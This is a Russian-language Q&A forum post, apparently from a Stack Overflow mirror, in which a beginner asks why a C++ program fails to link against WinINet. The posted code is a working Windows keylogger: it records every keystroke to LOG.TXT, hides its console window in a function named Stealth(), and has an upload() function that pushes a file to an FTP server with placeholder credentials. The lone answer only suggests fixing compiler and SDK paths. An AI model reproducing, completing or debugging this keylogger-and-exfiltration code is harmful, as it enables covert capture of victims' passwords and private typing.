Ошибка загрузки ftp на C++ - устаревшее преобразование из строковой константы в 'char*' [-Wwrite-strings]
Я пытался заставить программу загрузить файл на FTP-сервер, и что бы я ни получал
предупреждение: не рекомендуется преобразовывать строковую константу в 'char*' [-Wwrite-strings]
с последующим:
неопределенная ссылка на
InternetOpenA@20' undefined reference to
InternetConnectA@32'неопределенная ссылка на `FtpPutFileA@20'
это мой код:
#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
#include <stdio.h>
#include <Wininet.h>
#pragma comment(lib, "wininet")
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1){
for(i=8;i<=190;i++){
if(GetAsyncKeyState(i) == -32767)
Save(i,"LOG.TXT");
}
}
system ("PAUSE");
return 0;
}
/***************************************************/
int Save (int key_stroke, char *file)
{
if( (key_stroke == 1) || (key_stroke == 2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if(key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if(key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if(key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if(key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if(key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if(key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if(key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if(key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if(key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if(key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if(key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if(key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if( (key_stroke == 190) || (key_stroke == 110))
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/***************************************************//***************************************************/
void Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
void upload()
{
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
cout << "ERROR: " << GetLastError();
}else{
hFtpSession = InternetConnect(hInternet, "server", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
if(hFtpSession == NULL){
cout << "ERROR: " << GetLastError();
}else{
if(!FtpPutFile(hFtpSession, "C://file.txt", "/file.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "ERROR: " << GetLastError();
}
}
}
}
код работает нормально без функции upload(), и я просто не могу понять, почему
Помощь будет высоко ценится, как и любые другие советы по моему коду, потому что я относительно новичок в C++.
Благодарю.
1 ответ
Ваш источник компилируется и работает нормально в моем VC (2013). Я думаю, что здесь виноваты ваши настройки компилятора. Если вы используете Visual Studio (VS), проверьте путь включения источника Visual C/C++ и пути включения библиотеки и убедитесь, что они указывают на правильные папки (и на версию SDK, которая работает с вашей версией Visual Studio). Как это сделать, зависит от версии VS, которую вы используете. Если вы не используете VS, проверьте документацию своей среды разработки о корректировке путей include/library (особенно путей и версии Windows SDK).